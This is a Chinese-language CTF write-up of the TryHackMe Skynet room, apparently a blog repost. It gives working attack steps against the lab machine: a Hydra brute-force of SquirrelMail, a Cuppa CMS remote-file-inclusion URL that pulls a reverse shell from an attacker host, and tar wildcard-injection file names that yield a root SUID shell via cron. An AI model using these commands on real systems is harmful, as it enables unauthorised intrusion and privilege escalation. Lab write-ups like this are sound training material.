首页 > 其他分享 >THM-Skynet-Writeup

THM-Skynet-Writeup

时间:2024-07-10 16:53:30浏览次数:6  
标签:文件 shell -- Writeup THM Skynet 164.81 10.10 目录

通过学习相关知识点:攻破Linux目标机器并完成提权操作。

image

部署并渗透目标机器

step1

使用Nmap扫描端口

nmap -p- -sC -sV -T4 -v 10.10.164.81

image

139/445端口开放,可知目标机开启了SMB服务

枚举SMB共享

smbclient -L \\10.10.164.81

image

获取到一些可能能访问的SMB服务账号:anonymous、milesdyson

使用命令连接SMB服务中的匿名账户并获取所需文件

smbclient  // 10.10.164.81/anonymous

image

分析attention.txt文本内容:管理员通知员工及时修改密码修改,所以最近可能发生过密码更改行为,根据文本内容中的署名及SMB服务账户名称--管理员账户为milesdyson

我们还得到了一份密码记录,该密码记录中可能包含了目标站点的密码信息

使用gobuster扫描目录(针对目标站点)

gobuster dir -u http://10.10.164.81/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error

image

访问目标站点的二级目录/squirrelmail(10.10.164.81/squirrelmail)结果会自动跳转至/squirrelmail/src/login.php页面--这是一个邮件系统的登录页面

image

结合已知信息使用Hydra 爆破上图中的邮件服务器登录页面

hydra-l milesdyson -P log1.txt 10.10.164.81 http-form-post "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."

image

image

破解得到的结果:milesdyson cyborg007haloterminator

step2

登录邮件服务器并查看邮件信息

访问10.10.164.81/squirrelmail/src/login.php页面进行登录即可

image

image

由邮件信息可知,SMB账户milesdyson的新密码为:)s{A&2Z=F^n_E.B`

登录SMB账户

smbclient -U milesdyson //10.10.164.81/milesdyson

image

查看文本文件内容

image

获取到的有效信息:二级目录/45kra24zxs28v3yd

image

step3

针对隐藏二级目录进行目标扫描

gobuster dir -u http://10.10.164.81/45kra24zxs28v3yd/ -w /usr/share/wordlists/</span>dirbuster/directory-list-2.3-medium.txt --no-error

image

得到CMS后台管理的登录页面:http://10.10.164.81/45kra24zxs28v3yd/administrator/

image

CMS信息:Cuppa CMS

根据CMS信息查找exp

在https://www.exploit-db.com/上搜索关键字Cuppa以查找Cuppa CMS相关的漏洞exp

image

step4

构造payload以获取目标shell

继续查看相关exp的利用方法

image

我们可以构造如下的远程文件包含payload,在浏览器执行即可

http://$IP1/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://$IP2/php-reverse-shell.php 

原理:利用相关CMS的远程文件包含漏洞,让目标页面远程包含--本地攻击机所开启的简易服务器上的反向shell文件,这样我们在浏览器中一旦输入上述payload 就能让目标页面弹一个shell到我们的本地攻击机。

我们首先要在本地机上建立并修改好一个可使用的反向shell文件(主要是修改shell文件内容中的ip信息和端口信息),然后我们再在本地机上开启一个简易的服务器以便目标服务器实现远程包含,我们还需要建立一个Netcat监听器以便接收来自目标服务器的shell。

image

image

完成上述操作后,我们在本地机的浏览器中针对目标页面 执行远程包含漏洞的相关payload即可

http://10.10.164.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.16.58:8000/php-reverse-shell.php

image

查看user flag

我们已经成功获取到目标shell,所以利用shell界面查看user flag即可

which python #验证目标机有无Python环境
python -c "import pty; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shell

image

user flag:7ce5c2109a40f958099283600a9ae807

image/i/l/?n=23&i=blog/2857591/202302/2857591-20230210185222563-211659773.png

step5

进行提权操作

继续使用shell界面,进入backups目录并查看其中的文件内容

image

由上图可知以下信息:

backups目录下有一个backup.sh文件,其内容和作用是--切换目录至/var/www/html 并将该目录下的所有内容归档为backup.tgz压缩文件,该tgz文件保存在backups目录下;

通过查看/etc/crontab即定时任务可知--刚才描述的backups目录下的backup.sh文件是一个定时任务,该.sh脚本每分钟都会以root身份执行。

在查询 GTFOBins 网站后,我们发现通过tar命令可以利用一个名为–checkpoint的参数,该参数允许在每次归档 X 个文件时(X的默认值为10)显示“进度”消息, –checkpoint还可以与 –checkpoint-action 标志串联使用,–checkpoint-action标志允许在到达检查点(checkpoint)时以二进制或脚本的形式执行某些操作。

结合前述已知信息:由于backups目录下的backup.sh脚本中使用的通配符* 将对 /var/www/html 目录中的所有文件和文件夹执行归档命令,因此我们可以通过在/var/www/html下添加 –checkpoint=1 文件(启用检查点功能)和 –checkpoint-action=exec=xxx 文件(指定要执行的操作,检查点值为1,每归档一个文件都执行指定操作),那么当 tar 处理到以上文件时,相关的文件名将会被有效地视为tar命令的参数--从而执行某些操作。

在/var/www/html目录下创建一个BASH脚本,该脚本的执行结果将创建一个实质为bash副本的 SUID 二进制文件,我们将该脚本命名为newroot.sh:

echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.sh

image

继续在/var/www/html目录下执行命令创建以下两个文件,这两个文件的实际作用是以文件名作为 tar 命令行中的参数:

touch"/var/www/html/--checkpoint=1"
touch"/var/www/html/--checkpoint-action=exec=sh newroot.sh"

image

大约一分钟后,cron 计划作业(即backups目录下的backup.sh脚本)将会以root权限自动运行,从而能够成功创建一个SUID文件(/tmp/nroot),我们可以使用 -p 标志执行该SUID文件,这将允许以该文件的所有者身份(root)执行此二进制文件,进而可以根据此二进制文件的内容切换到root shell。

cd/tmp
ls
/tmp/nroot -p
whoami

image

查看root flag

通过刚才获得的root shell界面查找对应flag即可

标签:文件,shell,--,Writeup,THM,Skynet,164.81,10.10,目录
From: https://www.cnblogs.com/Cohawa/p/18294439

相关文章

  • 2024春秋杯网络安全联赛夏季赛-PWN-Writeup
    2024春秋杯网络安全联赛夏季赛-PWN-Writeup只打了第一天,费了好大劲,终于三道都出了。Shuffled_Execution保护全开,ida查看伪代码:int__fastcallmain(intargc,constchar**argv,constchar**envp){__int64v3;//raxchar*s;//[rsp+28h][rbp-18h]unsigned_......
  • SNN Algorithm
    SpikingNeuralNetworkAlgorithmSpikingNeuralNetworks(SNNs)areatypeofneuralnetworkthataimtomorecloselymimicthebehaviorofbiologicalneuronscomparedtotraditionalartificialneuralnetworks.ThekeydifferenceisthatSNNsusespike-ba......
  • Fundamentals of Machine Learning for Predictive Data Analytics Algorithms, Worke
    主要内容:本书介绍了机器学习在预测数据分析中的基本原理、算法、实例和案例研究,涵盖了从数据到决策的整个过程。书中涉及机器学习项目生命周期的各个方面,包括数据准备、特征设计和模型部署。结构:本书分为五个部分,共计14章和若干附录:引言(IntroductiontoMachineLearn......
  • 蝙蝠优化算法(Bat Algorithm,BA)及其Python和MATLAB实现
    蝙蝠优化算法(BatAlgorithm,简称BA)是一种基于蝙蝠群体行为的启发式优化算法,由Xin-SheYang于2010年提出。该算法模拟了蝙蝠捕食时在探测目标、适应环境和调整自身位置等过程中的行为,通过改进搜索过程来实现优化问题的求解。蝙蝠群体中每一只蝙蝠代表一个潜在解,在搜索过程中,蝙蝠......
  • 遗传算法(Genetic Algorithm, GA)
        遗传算法是一种基于生物进化的计算模型,通过模拟自然选择和基因遗传的过程来寻找最优解或者近似最优解的算法。遗传算法由美国科学家JohnHolland在上世纪70年代提出,是一种全局优化搜索算法。     遗传算法的基本原理是通过模拟生物进化过程中的自然选择和......
  • Optimization Algorithms 原理与代码实战案例讲解
    OptimizationAlgorithms原理与代码实战案例讲解1.背景介绍1.1问题的由来优化算法是计算机科学、工程和数学中的一个核心领域,主要用于寻找满足特定约束条件下的最佳解决方案。在现实世界中,无论是最小化成本、最大化收益、提高效率还是解决问题的不确定性,优化算法都能......
  • 【转】Androidstudio报错Algorithm HmacPBESHA256 not available
     删除debug.keystone这个文件就可以了。 https://blog.csdn.net/O_PUTI/article/details/138227534 -----参考了更改GradleJDK等的办法都没有用,最终通过一个一个问题拍错解决。第一个问题:版本不一致 第二个问题秘钥获取不成功:删除这个文件 然后就编译成功了。......
  • java使用@Controller注解跳转到thmyleaf页面时候报错
     报错如下######当我使用RestController时候接口可以得到返回的对象↓但是查看RestController和Controller的区别之后:也就是说@RestController返回的是一个对象,@Controller默认情况下,方法的返回值会被解析为一个视图名称,并寻找与该名称匹配的视图进行渲染。这意味着返回......
  • 三种好用的controller跳转thmleaf页面的方法总结!!
    一、直接在Controller中写跳转方法,最简单也是最普通的方法【不推荐使用】@Controller//页面跳转是直接用Controller:ResponstController他会默认给页面所有的方法加上ResponstBoring,他会返回对象,而不是页面跳转@Slf4jpublicclassLoginController{@RequestMapping(val......
  • (pdf)数据结构与算法分析 Java语言描述=Data Structures and Algorithm Analysis in Jav
    书:pan.baidu.com/s/1tGbGhhQ3Ez1SIkqdEREsjQ?pwd=eqp0提取码:eqp0数组:作为最基本的数据结构,用于存储固定大小的同类型元素集合。链表:动态数据结构,允许在任意位置插入和删除元素。栈:后进先出(LIFO)的数据结构,常用于函数调用和表达式求值。队列:先进先出(FIFO)的数据结构,常用于任务调......